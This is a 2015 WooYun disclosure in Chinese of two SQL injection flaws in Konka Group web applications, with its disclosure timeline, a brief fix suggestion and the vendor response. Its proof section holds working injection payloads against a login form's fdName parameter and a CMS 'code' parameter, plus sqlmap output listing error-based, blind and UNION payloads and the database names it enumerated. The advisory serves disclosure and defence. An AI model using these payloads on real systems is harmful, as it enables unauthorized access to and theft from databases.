当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138711

漏洞标题：康佳集团两处注入(root权限)

相关厂商：康佳集团

漏洞作者： Msyb

提交时间：2015-09-08 15:56

修复时间：2015-10-25 19:00

公开时间：2015-10-25 19:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-08： 细节已通知厂商并且等待厂商处理中
2015-09-10： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-09-20： 细节向核心白帽子及相关领域专家公开
2015-09-30： 细节向普通白帽子公开
2015-10-10： 细节向实习白帽子公开
2015-10-25： 细节向公众公开

简要描述：

因为按照乌云上的记录这个厂商肯定会忽略然后偷偷把漏洞补上，所以希望乌云帮我补rank:)

详细说明：

注入点:http://**.**.**.**/cms/docInfo!list.action?templateId=44&channelId=64&code=dkmbx
参数code存在注入.

1.PNG

2.PNG


另一个
http://**.**.**.**/basic/usermanager/sysOrgUser/login
POST: fdName=1' union select NULL,NULL,NULL,NULL,user(),NULL#&fdPws=1

3.PNG


漏洞证明：

3.PNG


1.PNG

2.PNG


sqlmap identified the following injection points with a total of 56 HTTP(s) requests:
---
Place: GET
Parameter: code
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: templateId=44&channelId=64&code=dkmbx' AND 7821=7821 AND 'kQHu'='kQHu
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: templateId=44&channelId=64&code=dkmbx' AND (SELECT 8081 FROM(SELECT COUNT(*),CONCAT(0x3a7472753a,(SELECT (CASE WHEN (8081=8081) THEN 1 ELSE 0 END)),0x3a6b75673a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VkgL'='VkgL


sqlmap identified the following injection points with a total of 28 HTTP(s) requests:
---
Place: POST
Parameter: fdName
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: fdName=1' AND (SELECT 7137 FROM(SELECT COUNT(*),CONCAT(0x3a6661643a,(SELECT (CASE WHEN (7137=7137) THEN 1 ELSE 0 END)),0x3a6c6e7a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'GZQS'='GZQS&fdPws=1
    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: fdName=1' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(0x3a6661643a,0x487443714f717179426f,0x3a6c6e7a3a), NULL#&fdPws=1
---
available databases [5]:
[*] information_schema
[*] konkahui
[*] landray_kk_db
[*] landray_sns_db
[*] mysql


修复方案：

转义，过滤...

版权声明：转载请注明来源 Msyb@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2015-09-10 18:58

厂商回复：

CNVD确认所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。

最新状态：

暂无